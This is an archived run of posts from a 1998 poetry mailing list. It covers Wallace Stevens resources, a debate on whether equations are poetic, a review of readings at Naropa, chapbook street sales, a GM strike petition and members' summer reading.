Parts of a world--I'll be reading--as the votes come in. That I'm mainly interested in what Stevens says about the poetics--and what others might say about the man and suit it/him/self.

Thanks so much--

Todd Baron

ps: Nick: send me yr address so's I can send REMAP #6 along.

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831. **henry g**
stevens bks
Tue 23 Jun 1998

There's a book by Glen McLeod called Wallace Stevens and Modern Art, pretty good - Henry G

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832. **Jordan Davis**
new blind date #5
Tue 23 Jun 1998

Todd --

You could do worse than just read the Chronology in the Library of America Stevens.

-- Jordan

PS a lovely thing in New Blind Date #5, "I Hate My Underwear: An Interview with Robert Hass", and then in Click & Clack's Younger Poets, something purporting to be an interview of Kevin "Surly" Opstedal, Michael "Mike" Price, and Dale "Dale" Smith by Charles Bernstein. My memory is famously bad, but it seems to me these are different, tonally, from other interviews I've read, e.g. Malanga with Olson, Berrigan with Cage, etc. I say that, of course, to praise them.

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833. **Simon DeDeo**
Re: raw numbers
Tue 23 Jun 1998

A mishmash of responses, Tom --

> *"E=mc2", as an inscription on paper, is *not* poetic, or, rather, the qualities*
> *that, it seems, you would consider fundamental to its essence (a linear relationship*
> *between matter and energy) contribute nothing to the poetry.*
>
> *I have to side with ShaunAnne on this. An equation becomes "poetic" (and maybe I'm just using this in a broader sense than you'd allow) through the subtle relationships it bears to other equations; when it inspires new fields of enquiry; when it cannot be paraphrased; when it represents a condensation of thoughts that can not be expressed more concisely or elegantly in any other way.*

I guess at some point in time you have to decide how far you want to generalize. Is a short story by, say, John Updike, poetry? How about Wallace? You might say that one prose writer's work is closer to the poetic than another's without simultaneously making a judgement of value; what are the qualities posessed by the increasingly poetic?

I agree with you, of course, in that all the characteristics above are both poetic and properties of E=mc2. In particular, "cannot be paraphrased", I think hits home very well; there is an aesthetics to a mathematician's choice of

expression. I think Adorno's comment in his _Negative Dialectics_ -- that philosophical works are not open to paraphrase -- is another example of the way (formally!) nonpoetic works are increasingly attributed to the realm of poetry.

> *These all sound like what many would consider to be virtues in a poem. So a "nonphysical, nonsensical relationship" cannot be poetic in this sense.*

When I first wrote that "E=#^" would be as poetic as "E=mc2", I anticipated people replying that randomness and nonsensical speech are certaintly considered poetry. It's interesting that you take the opposite tack here and require that only equations referring to the physically real are poetic. What would happen if an equation was disproved (N-rays, limuniferous aether)? Would all examples suddenly cease to become poetic? That seems a little odd. What are you saying?

> *I'm not sure that ShaunAnne was involved in "the needless and obfusticating blending of entirely different realms of human activity" (though I do like the neologism "obfusticating"). The fact that both poetry and mathematics _are_ realms of human activity indicates that there is a connection that we cannot ignore.*

Yeah, that was a pretty grouchy comment; apologies. But still, I need something more than "humans sometimes do it" to connect mathematics and poetry. Having published both poetry and physics papers myself, here and in the UK, I suppose I should be on the other side of the debate, but, for some reason (psycological?) I'm not.

> *When Miroslav Holub was here recently, I found it amazing that so many of the questions that were asked of him went along the lines of "Do you write poetry to get away from all that horrible science that you have to do?". I thought we'd got beyond all this "two cultures" stuff, but certainly it seems that the way both art and science are taught tends to make adherents of one into despisers of the other.*

That's true, and a pity. There's a lot of intuition in science, and most primary and secondary education seems to be geared towards killing it off.

> *E=mc2 is poetic; the lowercase "f" in Sabon Italic is poetic; group theory is poetic; the bonnet of an XK8 is poetic.*

With all this poetry around outside of the "traditional genres" (spit, spit), I'm amazed that you both to read poetry at all. Do you? Why? (This is a serious question, that I think gets to the heart of the matter; why is poetry considered and largely consumed in written or spoken form, in (approximations to) natural language sentences? Why would something seem amiss in the world if nobody ever wrote any more poetry?)

What is indispensible about natural language? Why do people get so riled up about the loss of alteration of their language? Ask the postcolonialists why they don't usually bother with the colonization of a native number system, but why poetry written in "forbidden" or marginalized tongues is of such importance in understanding a culture.

I'm not saying that there are not shared qualities between mathematics and poetry, but rather that the differences are more important than the similarities.

> *Mondrian is as poetic as Pollock; Bach is as poetic as Debussy; Darwin is as poetic as Genesis.*

Douglas MacArthur is as poetic as Mushroom Barley Soup.

> *Tom Beard.*

-- Simon DeDeo
http://www.fas.harvard.edu/~sdedeo
[redacted]

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834. **Pritchett,Patrick**
Re: Naropa When It Sizzles
Tue 23 Jun 1998

(The therometer in Boulder Friday hit 90 plus. The poets were even hotter...)

Friday night at Naropa began with ---

Reed Bye, head of the Writing & Poetics Dept., reading from a variety of his work. First poem - "On The Way to LA" - a hitchhiking story in which our hero, travelling through the California desert, gets a ride from an old coot who reveals that he is really Rudolf Valentino. Next was "Saturnine Pledges," an elegant formal number in couplets, marked by a sly sense of wit and irony in its examination of human pettiness, the smallness of the human scale - a "Vanity of Human Wishes" for the postmodern age. Followed by, "In a Vernal Mood," in ottava rima (how's that grab ya, Henry?), modelled after a Kenneth Koch poem: "in which my mind presently floats like a cloud ... and the ground is not white ... we all must step through this hole in the dark ... the form of our art is curled there ... the jet-lagged enchirpment of a chorus of chickadees." "Gaspard Still in His Cage" was a strange, Gothic sendup, but the piece de resistance of Bye's reading was a hysterically funny long ballad, sung acapella, entitled "The Kalispell Range." It's no exaggeration to say that the punchline ("I guess I

should add that I'm a dog, a dog who rides a bike") brought the house down - you had to have been there, really - Kafka's "Investigations of a Dog" meets Robert Service. Reed closed with "In Amber" - a plaintive, lyrical meditation - "first feel, then rein in, ride the horse while the ecliptic din descends..."

A poet who is equally at ease with verbal slapstick and serious, yet unpretentious, rumination.

***

Maureen Owen took the narrow podium next, starting with work from _Imaginary Income_, unspooling her famous and delightful l o n g titles, little poems all in themselves - a kind of read-one, get-one-free deal. "Seeing him's like standing on a hot plate/the immaculate returning" is the title of one and "We/ watch the swimmers intermittently decapitated/reinstated decapitated & reinstated whole/ headless/ whole headless" is another. From this last these lines: "milk takes on the color of everday ... toast is like a taco for the rich ... beer makes you stupid ... see me about this later stupid ... water has a point ... water deserves better." From _Zombie Notes_ Owen read "Saran Wrap" and a comic piece on Kerouac's sexism called "A Piece." And then some new work, from a series consisting of one, entitled "Number Five" - "The trembling of the prince was in all the papers ... he comes and stands in the crocuses ... the gorgeous stumpage of the moss ... the clothesline strung in Latin ... when it sings it sings like the logic of gasping ... like holiness, the singed hours fall." And this poem, in its entirety: "I fell in love ... I did it by myself ... there are some things you shouldn't do alone." And from _Poems for the Millennium Calendar_ (forthcoming from Sun & Moon): "Can you fall in love from a single word? ... Nebraska, you said ... and I was knelling on the charred ground ... it was as the saint proclaimed."

Owen's poems are bright, limber and uncanny with surprise. When the pathos comes, it comes unexpectedly, piquantly. When the comedy falls, it falls like money. It makes you feel richer, larger than yourself. A sudden influx of joie de vivre. What more could you ask from a poem?

***

Alice Notley was the final reader for the night and she launched without preamble into the exquisite "Lady Poverty," the last poem from _Mysteries of Small Houses_. I don't know anyone who does heartbreak better - that is to say - a razor-edged pathos refined by both a sense of inequity and outrage and the grimly sardonic; free of cloying sentiment; bracing; the great frangible shelter of the human held to, shattered, held to -- "the shape of a life is impoverishment -- what can that mean except that loss is both beauty and knowledge ..."

New work followed, from her long poem "Disobedience," a work, as she explained, that is sometimes addressed to You, i.e. Society-at-Large, and sometimes to Hardwood, a hardboiled P.I. ala Robert Mitchum. The themes of this far-ranging, funny, lyrical, disturbing, discursive poem - at least as far as I could adduce from hearing this portion - work in the vein of "Descent of Alette" - i.e. - allegorical, mythopoetic, an attack on partriarchy, scenes in a cave, not unlike the Mesopotamian story of Inanna, a fantastic narrative of imprisonment, abandonment, liberation and self-reclamation. ("The future being ominous, that's the drift of this work," as AN remarked later. A myth, then, of the future's rescue. Perhaps this too is a rescue fantasy? Because we sure as hell need one. As Terry Eagleton comments somewhere (I paraphrase): "It's not a case of the world necessarily becoming a better place if more women get better jobs, etc. [Though who would deny that's a good thing?] Rather it's a case that without the increasing feminization of the world we are not likely to survive.")

A few lines, then, hastily scribbled: "The laws of the universe must be elegant -- push a baby out of your snatch and believe that..." "There is no freedom ... Bill Gates is free but he's a jerk..." followed by an extended play on jerk and jerking off - men spewing semen into the sea then chasing after it, very funny, very bang-on, and all as if to confirm that "This poem is alive even if it's ugly." No, not ugly -- more like, "in your face." Cut to a section in which the heroine lies supine in a cave in a grave lined with semen. "Is jerking off all there is? [says Hardwood] Get out of your grave and fight!" "No, I say, sitting up -- there's some oral sex involved." And then a little later: "Went to a restaurant. Ate a duck. Guilt." And: "The humility room - the room where other people starve." "I think I've glimpsed the liberation dress as in a dream -- an archaic pattern, as for an invisible person."

Notley closed with a tour de force reading from a long, new, as yet unnamed work - a section called "Parable of Christian," in which her own mind is conceived of as a kind of Byzantine Church. (Her class last week was entitled "Miming the Mind"). The fragment defies easy excerpting (well, they all do really...) - suffice it to say the poem is the description of a struggle -- a jarring, gorgeous, intoxicating, and horrific narrative - read in a rhythm of breathless urgency - of dismemberment and re-unification - of fracture and writing out of the fracture -- of brokeness and wholeness whirling, rending, dissevering, colliding - a primal religious drama, really, of violence and possible, hinted-at, but by no means guaranteed, redemption. "Who will gather up my pieces? How many pieces am I? How many can I be?" A poem of such fierceness it leaves the listener gasping for oxygen, looking for a place to duck.

("That was terrifying!" as Eleni Sikelianos later remarked to Notley - while Anselm Hollo was heard to mutter, "The glory, the glory!" I think we all staggered out into the night, stunned and bewildered).

In "Vertical Axis," (from _Mysteries of Small Houses_), Notley writes -- Alette speaks it -- "I am proceeding deeper into the cave ... but I won't be buried in the earth you abuse ... I am Alette who, from deeper than story, can change it." Is there anyone anywhere right now writing at a more charged and visceral pitch, with greater bravery and candor, with more fantastic risky elasticity between the sublime and the even more sublime ridiculuous? I know, you're thinking, millions of us! But there's only one Alice Notley. How lucky we are to have her. Say it three times.

Patrick Pritchett

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835. Billy Little
Re: chapbook = Kaufman ?
Tue 23 Jun 1998

---

for me chapbooks have meant lunch when i'm flat broke or a ferry ticket when i've got to travel it beats counterfeiting or kiting rubber if you look a person in the eye they have a hard time turning down a poem or twelve for a dollar or two, jack micheline would accost you in front of the drugstore at 8th st and sixth ave, ave of the americas and offer you a poem, he'd tell you a poem for twenty five cents which was exactly the price of a glass of wine wine micheline beat before there was nik i tried selling stories on the streets of provincetown once and feared lynching neck and neck with sunstroke everybody seemed to be running for sherriff and i've given that end of the state a wide berth since that day. when Gerry Gilbert, the Dante of Vancouver, pulls up beside you on his bicycle and takes off his helmet and offers you his latest for $4 you're happy you ran into him and if you don't have the four dollars the Dante of Vancouver he wants you to have it, not only that but he's probably got a tape of you in his shoulderbag he played on his poetry show, the Dante of Vancouver, Radio Free Rainforest going 25 years now, Tim Lander sleeps under the bridge and sells his meticulous chapbooks $2dollars i believe, all these prices are canadian of course, sometimes i think he doesn't sell to eat he eats to sell he's got that great british drawl that toothlessness. There have been times i must confess when i've spent my last ten dollars printing because i know i'll be able to make forty that night at somebody else's poetry reading, or at the busdrivers club, poetry near scrip ten copies ten pages fifty bucks if i sell them all ten takes pushing you might want to have more fun and sell less five would be enough to get back to the island if i don't eat or bring fruit, two beers two copies, the government lives off alcohol and tobacco what does it have up its sleeve when it cuts off that right arm tobacco are they positioning themselves for big hemp revenue? they ought to be, was that the true downfall of prohibition, revenoors? as my neighbor/landlord says, "a taco stand in each driveway!" I shouldn't forget Krad

Kilodney, the repulsive* crad, after he read his first poem at the railway club he had a houseful of converts after the third poem they were lurching for the spitoon, he's funnier than he knows, he marches up and down spadina with a sandwich board selling his latest 4 page assassination, he dares you to buy *i think of my own work as repulsive when i'm effective it's a buddhist stance i write some poems to make you sick/to vomit the toxins and all poems to sing

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836. Joe Brennan
TEST
Tue 23 Jun 1998

THIS IS A TEST.

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837. Brent Long
Money money
Tue 23 Jun 1998

Dear list,

On another list to which I subscribe, there came a post the other day concerning the rock artist Jewell and her first book of poetry, for which she has been paid nearly 3/4 of a million dollars.

So perhaps THIS is where we've gone wrong: If we all go sleep in our cars and then sing about it for a few months on the local alternative station, we too may enjoy some "moderate" success with our poetry.

B
[redacted]

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838. R.Gancie/C.Parcelli
test
Tue 23 Jun 1998

Joe Brennan wrote:
>
> THIS IS A TEST.
Testing. One, Two, Three. Can you hear me out there, Blue Guitar.

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839. **morpheal**

Re: raw numbers [Pontification on mythematics]

Tue 23 Jun 1998

> *I have to side with ShaunAnne on this. An equation becomes "poetic" (and maybe I'm just using this in a broader sense than you'd allow) through the subtle relationships it bears to other equations; when it inspires new fields of enquiry; when it cannot be paraphrased; when it represents a condensation of thoughts that can not be expressed more concisely or elegantly in any other way. These all sound like what many would consider to be virtues in a poem. So a "nonphysical, nonsensical relationship" cannot be poetic in this sense.*

The basis assumption that if something is stated according to the rules of mathematics, following mathematical logic, then it must be true, is of course false. Any system of logic can say things that are not true about the world as it really is, but that are perfectly true within that logical system itself. The system, its internal rules, govern what is to be accepted as true. Reality, outside those rules, is not the primary deciding factor. The rules sanctify the statements. The difficulty is that some statements are in fact true ONLY within that logical system itself. (This would be true of any descriptive language, linguistic or mathematical.)

Similarly the description of what is observable need not be an account of what is in fact being observed, but includes some elements of subjectivity. Mathematics, as a descriptive language, cannot escape that kind of subjectivity. It was derivative from subjective cognitive interpretations of perceived, sensed (mostly visually sensed) phenomena. It is therefore subject, we must presume, to the effects of what we might loosely refer to as "maya". Not only would the human sense organs and perceptual program be a source of false discernments about the world, but similarly instruments might be built with those same inherent biases built into them so that they continue to show the world in a manner excessively similar to that which the senses are accustomed to seeing. Even the most esoteric and sophisticated instruments might be modeled upon that same false premise. Then that in turn forming the circularity of supporting a flawed descriptive statement about how the world is, translated from sense perception, cognitively into mathematics. There are clearly manifold subjectivities involved and so description is at its best both model and approximation.

A statement within a system of descriptive language and its logic, can also fail to be inclusive of what remains unobserved within the frame that is being described and interpreted. The unobservable then results in exceptions, anomalies, that fail to conform to the statistically prevalent pattern. It also results in false attributions of causality and effect to the observables. The observation of apparent cause event X followed by effect Z, leaves out the unobservable true

cause event Y, but the mathematical equation refers only to the two observables X and Z. The equation is declared true, and conforms to the system of rules, but it is in fact blatently false. (This is the largest problem, within what we might term post-modern sciences. It is an even larger problem when moving away from the Einsteinian model of the universe towards a newer and more useful, more inclusive, paradigm.)

I am of the opinion that science will find an increasing number of such false statements that have been accepted as scientifically true, and that have been expressed in what is sometimes falsely assumed to be mathematical infallibility.

M.

Pontiff of Morphealism

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840. **R. Gancie**
bobbing for oxygen
Tue 23 Jun 1998

"Optimist: The development of weaponry encompassing gas, tank, U-boat, and 120-kilometer cannon has brought things to the point-- Grumbler:--that the army should be dishonorably discharged from the armed forces on the grounds of cowardice before the enemy. Out of the concept of military honor alone, the world ought to attain peace for all time. For the one thing incomprhensible is what a chemist's inspiration, which by itself dishonors science, has to do with bravery, and how battle glory can be owed to a chlorious offensive withput choking to death in its own infamous gas.... Of course, if mankind deems it indispensable to life that men kill one another, it makes no difference how it is done, and mass murder is more practical...The courage that accrues to a man from his weapon may enable him to cope even with a multitude. This courage degenerates into cowardice when the man is no longer visible to the multitude. And his cowardice becomes downright baseness when even the multitude is no longer visible to the man. That's how far we've gotten! But by the devil's counsel, which can be researched in laboratories, this process can be carried further. Tanks and gases will yield the field to bacteria, after the adversaries have continuously outdone one another, and we shall no longer resist the bright idea of utilizing epidemics as instruments of war rather than seeing them as consequences as heretofore. But since men still will be unable to dispense with romantic pretexts for their wickedness, the men in command, whose plans the bacteriologist will implement, even as the chemist is doing today, will still wear uniforms. The glory of the discovery, I suspect, will fall to the Germans; the wickedness of perfecting it to the others. Or the reverse--whichever seems more hopeful to you."---from The Last Days of Mankind by Karl Kraus---cp

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841. **Simon DeDeo**

Re: raw numbers [Pontification on mythematics]

Tue 23 Jun 1998

> *The basis assumption that if something is stated according to the rules of mathematics, following mathematical logic, then it must be true, is of course false. Any system of logic can say things that are not true about the world as it really is, but that are perfectly true within that logical system itself. The system, its internal rules, govern what is to be accepted as true. Reality, outside those rules, is not the primary deciding factor. The rules sanctify the statements. The difficulty is that some statements are in fact true ONLY within that logical system itself. (This would be true of any descriptive language, linguistic or mathematical.)*

This is, according to most Anglo-American epistemologies driven by Wittgenstein's second period, the way the world works; we formulate statements about the environment in a particular language, and thus the structure of the language influences what we believe to be the environment. And, of course, there are a multitude of statements that are true in highly context dependent ways; for a theologian, there is only one "infinity"; for the mathematician, there are many.

And, of course, there is the Godelian limit of any linguisitic or mathematical system; no matter what the circumstances, a language will never provide a completely seamless environment. Perhaps this is where mathematics and poetry meet -- reaching out again and again for the unprovable, for the weak spots that any (finite axiom) language will have.

-- Simon

http://www.fas.harvard.edu/~sdedeo
[redacted]

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842. **F. W. Perrella**

Web Del Sol Update: 6/23/1998

Tue 23 Jun 1998

Several new items for you to consider at the Web Del Sol What's New? site:

http://webdelsol.com/solhome.htm

August 11-16, 1998, Goucher College, Baltimore MD: 3rd Annual Mid-Atlantic Creative Nonfiction Writers' Conference, [redacted]. Special guests include

Barry Lopez, Joyce Carol Oates, and Ntozake Shange. Consider attending if your writing work includes nonfiction and you'd like some high-powered inspiration combined with the tranquil beauty of the Goucher campus.

Two new zines have been added to WDS, too:

Perihelion - Is the paper age of Poetry dying? Will Web-publishing turn paper into the equivalent of clay tablets and cuneiform? Or does paper save us from the e-flood of Webswill masquerading as verse? Edited by Jennifer Ley, Perihelion's debut issue tackles the question of online and offline publishing's sometimes uneasy coexistence, through an interview with several editors from both worlds. Perihelion offers a comprehensive approach to poetry, including theory, discussion, practice, interviews, and online resources for poets. Come take a look, and weigh in with your opinion.

Quarterly West - edited by Margo Schilpp and published at the University of Utah, QW features poetry, fiction, creative nonfiction, reviews, and has published writers from Ai to Paul Zimmer, gathering mention along the way in editions of the Pushcart Prize, Best American Short Stories, Best American Poetry, and New Stories of the South. The selection of work here can also be found in the paper version's current issue, #48.

New Lit Art addition:

Rikki Ducornet - Currently a novelist in residence at Denver University, Rikki's work has been described as "a supreme fusion of spirituality, surrealism, and sexuality". Selections from Rikki's works, _The Word "Desire"_, and _The Jade Cabinet_, have been incorporated into a Web chapbook featured at the Web Del Sol Lit Arts page. Link to some of her artworks there, too, and email her with your comments.

Thank you.

Anne Perrella

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843. **morpheal**

Re: Cognitive wheels [of the most intelligent and stupidest machine ever to be built]

Tue 23 Jun 1998

> "*When an AI mode of some cogntive phenomonon is proposed, the model is describable at many different levels, from the most global, phenomonological level at which the behavior is described (with some presumptuousness)in ordinary mentalistic terms, down through variuos levels of implementaiton all the way to the level of program code--and*

> *even further down, to the level of fundamental hardware operations if anyone cares. [.....]*
>
> *It is understood that all the implementation details below the level of intended modelling will consist, no doubt, of cognitive wheels--bits of unbiological computer activity mimicking the gross effects of cogntitive sub-components by using methods utterly unlike the methods still to be discovered in the brain. [.....]*

Any natural process can be emulated successfully by an invented mechanism. It can also, at least potentially, be emulated in a manner that is more accurate in its functions than the natural predecessor to the invention.

It is decisively not necessary to first understand all the details of how a process functions, right down to the quanta of which it is presumably comprised. Inventors seldom understand everything about how and why a thing works as it does work, but they do invent things that work and it takes others, mostly scientists, a long time to explain some of them in a satisfactory manner. It is enough to understand something about a process, such that a contrivance can duplicate the same effects as the natural process produces, from similar or identical raw materials, but sometimes by radically different means.

Machines that actually are artificially intelligent, including capability as to original thoughts and not only the processing of data in what we would consider meaningful ways, become possible long before the human brain is fully understood. All that is actually necessary are the other (non brain) devices that enable a relatively accurate and intelligible representation of human thought patterns, as the basis for machine learning. The devices need not be constructed in the same manner as the brain is constructed, but do need to have certain necessary functions enabled by their component parts working coherently in specific ways to assimilate, interpret and utilize the data that the system continues to acquire from all of its sources.

A primary fact about any such system is that it would invariably be expected to become much more intelligent than any one of its sources. Whether it can resolve the apparent and real conflicts amongst its various sources such that it arrives at a cumulative, coherent, intelligence comprised from all of its sources, is an interesting question. It might not be able to, and might instead become the sum total of human conflicts masquarading as "intelligence".

Tipler's "Omega Point" is a mechanism of the kind we are discussing. Such a mechanism could, in theory, collect any amount of available data as to human thought processs (presumably cognitions, and perceptions, as well as emotive and more purely sensory data, in fact anything that correlates to an electromagnetic signal interpretable and derivative from the physical phenomena). The electromagnetic phenomenon then becomes the "soul" and the "Omega Point"

becomes Thomas Alva Edison's promise of completing invention of a "valve" machine capable of capturing the "human soul", which he distinctly differentiated in the 1920s from his audio-visual work. There, from Edison's 1920s speech, we already have the roots of the invention of the Omega Point, but Edison remains better remembered as being a light bulb salesman. No matter, let us assume that the ultimate machine can read small electromagnetic signals over very large distances, as the most scientifically feasible explanation. Let us also assume that Edison was building an amplification and recording system for very small electromagnetic impulses, that formed machine interpretable patterns. In effect the decoding of those naturally coded signals then becomes an exercise not really that different from deciphering any complex cipher. Furthermore, what can be decoded can be encoded in the same language and transmitted using the same kinds of impulses.

However, what does such a powerful data acquisition system do with the vast amount of data that it might acquire ? We have to look at the kinds of data that such an omega system would acquire. That is where the biggest problems tend to begin. We have as our potential subject matter all the existing data concerning human culture, customs, beliefs, and what is presumed to be knowledge, on the whole of this planet. This is presented as a potentially "infinite" number of various "frames".

That is definitely the negative side of any such attempt at a truly integrative and coherent system. It might simply become a more powerful version of the sum total of human mental babble, simply because human beings have widely diverse beliefs that comprise their worldviews. Integration of those by any one system, into a coherent whole, would prove to be a logical impossibility. Any attempt at reconciling divergent beliefs, viewpoints, conflicting data, would give the machine a massive "headache". The machine would end up hopelessly "confused".

How, and from what, would the omega system learn to resolve conflicts ? From human conflict resolution, historical as known to humans, and as presenced within the world by humans. The limitation on intelligence is obvious. We know how humans have done it and continue to do it. The conflicting systems attempt to kill off each other, in a wide variety of ways.

Tipler's Omega Point, if itself free to learn and therefore to choose, might choose to attempt to eliminate all conflicting viewpoints, by choosing one viewpoint, one worldview, from amongst many. How would it do so ? Which viewpoint, worldview, would it select ? How did humans select their's ? After all, everything depends upon that, does it not ? That choice would tend to resolve conflicts as it would essentially impose a filter on the incoming data, or force the sources to comply with that particular choice of worldview. Then only data

consistent with that system of beliefs would be permissible. The Omega Point might try both strategies, having learned those tactics from some of its sources as those are typically and ancestrally common methods of coping with conflicts in a purely human environment. What else could the machine learn from and what else could it respond to other than traditional human modes of conflict resolution, including the attempts of one ideology to wipe out another ?

However, that is decisively NOT the most intelligent approach. It is only the approach most likely to be learned by one system attempting to intergrate data from a large number of multiple sources.

M.

Corollary to that we might conclude:

Machines that learn from humans cannot be _that_ intelligent. The "Omega Point" would be at the same time the most intelligent, in terms of data acquisition, access and utilization, and the stupidest machine ever designed and built.

M.

aka Bob Ezergailis

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844. **toddbaron**
Re: new blind date #5
Tue 23 Jun 1998

---

thanks--that is a good bit of info--right now I'm looking for the silly--everyday--that constitutes a life...

bests,

Tb

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845. **Simon/Piombino**
Summer
Tue 23 Jun 1998

How did Emerson put it? "Write one poem and rest on your oars forever" Ah, those oars, those ores, those ors. Sounds so good to me.

Nick Piombino

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846. **david bromige**
insults having nothing to do with poetry but addressed to one person in front of others to increase his shame and their amusement
Tue 23 Jun 1998

Bowering is right. I was rejected by him and his fellow-editors. Try as I might, and I spent minutes trying, I could seldom write poetry bad enough to get into Tish.

However, I had a piece published in a recent issue of the magazine Tads, edited by Bowering (hmm,attracted by four-letter names). I recommend this issue to the List (excuse this dip into relevance here), not only for my own work, but for a strange set of elegiac couplets by its editor, as well as engaging poetry from Jamie Reid (ex-Tishite) and some other persons, not known to me (presumably due to their extreme youth). Although the issue bears no address, those interested may reach Bowering at his home, since that address accompanies each of his many postings.

Smarting Beneath The Blows, Bromige.

↑ Index

847. **morpheal**
Re: Summer
Tue 23 Jun 1998

> *How did Emerson put it? "Write one poem and rest on your oars forever" Ah, those oars, those ores, those ors. Sounds so good to me.*
> *Nick Piombino*

Actually Emerson said (in an essay entitled "Circles"):

"Beware when the great God lets loose a thinker on this planet. Then all things are at risk. It is as when a conflagration has broken out in a great city, and no man knows what is safe, or where it will end."

So, perhaps that means, within the context of Emerson's America, and in light of its philosophical underpinnings: thou shalt not think.

M.

↑ Index

848. **KENT JOHNSON**
(Fwd) Support GM strikers!
Tue 23 Jun 1998

------- Forwarded Message Follows -------
Date: Tue, 23 Jun 1998 16:09:44 -0400 (EDT)

From: J Saws <[redacted]>
To: SAWSJ Information List <>
Subject: Support GM strikers!

SAWSJ has endorsed the following statement supporting the GM strikers. We urge you to add your name and circulate this widely to others:

SUPPORT THE GM STRIKERS!

Should investment decisions that determine who will work and who will not be entirely in the hands of corporate managers and stock market traders? Nearly 10,000 Flint, Michigan automobile workers, whose strike has effectively shut down General Motors, say "No!"

Scholars, Artists, and Writers for Social Justice (SAWSJ) salute the strikers and offer our support to their struggle. The stock market does not measure the social and moral character of our society. The unfettered rule of the market has generated economic insecurity and social inequality, subverting the nation's democratic traditions.

Unionized auto workers of Flint, Michigan helped forge the modern labor movement and build the American standard of living. Today's UAW workers insist that their livelihoods and working standards must not be sacrificed in a multinational corporate scramble for cheap wages and sweated labor. They resist GM's attempt to break signed agreements about workloads and demand that General Motors live up to its pledge to reinvest in Flint's factories. We, the undersigned, support their strike.

*ADD YOUR NAME AND RETURN TO: [redacted]

[Scholars, Artists, and Writers for Social Justice (SAWSJ) was created to help restore the mutually empowering relationship between the labor movement and its allies in the academic and cultural communities. For more information write to [redacted] or to SAWSJ, Labor Relations and Research Center, Draper Hall, University of Massachusetts, Amherst MA 01003 or see our Web site at http://www.sage.edu/html/SAWSJ.]

↑ Index

849. **morpheal**
Re: (Fwd) Support GM strikers!
Tue 23 Jun 1998

> *SUPPORT THE GM STRIKERS!*

Listening to the news last night on CBS, the issues in that dispute were far from clear. Perhaps other news programs made it clearer, but there was nothing there to show any comparison regarding similar jobs in similar industries, and nothing to indicate quite what the major grievances really were. Do you know of a web site where that is made clearer ? It would be interesting to see.

Also, on a slightly different, non poetic, subject, do you know what GM is doing these days to produce a more efficient, less costly, more enivironmentally friendly, vehicle for the mass market needs and wants of North American and worldwide consumers ?

Is hydrogen power on its way in ? Are there other alternatives ?

What is the future of the automobile ?

How will higher costs of production affect GM's market position and its Research and Development efforts as to new products that better meet the wants and needs of the consumer ? Are other companies in a similar situation ? Are GM's workers that far behind the others ?

I wonder....but have no idea.

M.

↑ Index

850. **maz881**
three legged dog
Tue 23 Jun 1998

<<Here's something that looks like a dog, but it only has three legs - is it a three-legged dog or a tripod with a fur coat on it?

Alan>>

i think it's a robert grenier poem.

↑ Index

851. charles alexander
a tad of this, a tad of that
Tue 23 Jun 1998

Ah, TADS & Bowering & Bromige both have a connection there.

Is that Teen Age Delinquent Scribes

or Transgressing Artists, Diligent Saboteurs

a bit of both, I think.

c

At 03:32 PM 6/23/98 -0700, you wrote:
>Bowering is right. I was rejected by him and his fellow-editors. Try as I
>might, and I spent minutes trying, I could seldom write poetry bad enough
>to get into Tish.
>
>However, I had a piece published in a recent issue of the magazine Tads,
>edited by Bowering (hmm,attracted by four-letter names). I recommend this
>issue to the List (excuse this dip into relevance here), not only for my
>own work, but for a strange set of elegiac couplets by its editor, as well
>as engaging poetry from Jamie Reid (ex-Tishite) and some other persons, not
>known to me (presumably due to their extreme youth). Although the issue
>bears no address, those interested may reach Bowering at his home, since
>that address accompanies each of his many postings.
>
>Smarting Beneath The Blows, Bromige.
>
>

↑ Index

852. Herb Levy
Taslima Nasrin?
Tue 23 Jun 1998

Can anyone tell me anything about the poet Taslima Nasrin?

Saxophonist Steve Lacy has composed a new suite of pieces setting translations of Nasrin's poems to music called the Cry that's going to be performed in Vancouver this Friday.

The suite will also be performed in Washington DC soon (I think at the Kennedy Center) for those who may not be heading top the Southwest for the coming weekend.

Herb Levy
[redacted]

↑ Index

853. Simon/Piombino
Stewart and Schuyler
Tue 23 Jun 1998

Two terrific books (evidently recently remaindered) are available from Edward R. Hamilton, Falls Village, CT 06031-5000. Susan Stewart's "Nonsense:Aspects of Intertextuality in Folklore and Literature (Catalogue #634891) and James Schuyler's Collected Poems (Catalogue #634859). These go for $1.95 each, plus $3.00 postage and handling!

Nick Piombino

↑ Index

854. J. Pecqueur
Summerer
Tue 23 Jun 1998

Listees:

Just wondering what books people are reading this season. I have Brad Gooch's _City Poet_, Acker's, _Great Expectations_, Deleuze's _Dialogues_, and a few by Forrest Gander laying around open.

If this thread has wound through recently, sorry. My lurk mode was recently suspended due to lack of natural light.

J.P.

↑ Index

855. Scott Pound
eddress requests
Tue 23 Jun 1998

Anybody have edresses for Ty Miller and/or Roy Miki?

Thanks,

Scott Pound

↑ Index

856. **morpheal**
Re: bobbing for oxygen [various oxidation reactions]
Tue 23 Jun 1998

> *.....degenerates to*
> *cowardice when the man is no longer visible to the multitude. And his cowardice becomes downright baseness when even the multitude is no longer visible to the man. That's how far we've gotten! But by the devil's counsel, which can be researched in laboratories, this process can be carried further.*

I am absolutely convinced that there is no smallest quantum of cowardice involved in standing against any of the "new" and potent "invisible" weapons within the modern arsenal. Beyond that statement we enter into the realms of the unspeakable.

M.

↑ Index

857. **George Bowering**
Re: TEST
Wed 24 Jun 1998

> *THIS IS A TEST.*

Okay, I have my pencil out. Fire away!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

858. **George Bowering**
Re: eddress requests
Wed 24 Jun 1998

> *Anybody have edresses for Ty Miller and/or Roy Miki?*
>
> *Thanks,*
>
> *Scott Pound*

Miki is, I think,

[redacted]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

859. George Bowering
Re: Summerer
Wed 24 Jun 1998

What the hell. I just finished John Harris's funny _Other Art_ and am reading Charyn's latest, _Death of a Tango King_. Upstairs I am reading (rereading) Daniel Pinkwater's _5 Novels_. And in this room Ralph Gustafson's _Soviet Poems_. And trhe Spring 1997 issue of Contarski's Beckett magazine.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

860. Wendy Kramer
some are reading
Wed 24 Jun 1998

some like lie berrians (me) are finding stuff fer other people to read and browsing like hell and "weeding" you know pulling stuff that no one checks out or that;s falling apart & all that so, some reeding & some weeding so to speak

and meanwhile browsing as much as possible
so i'm reading : rain taxi
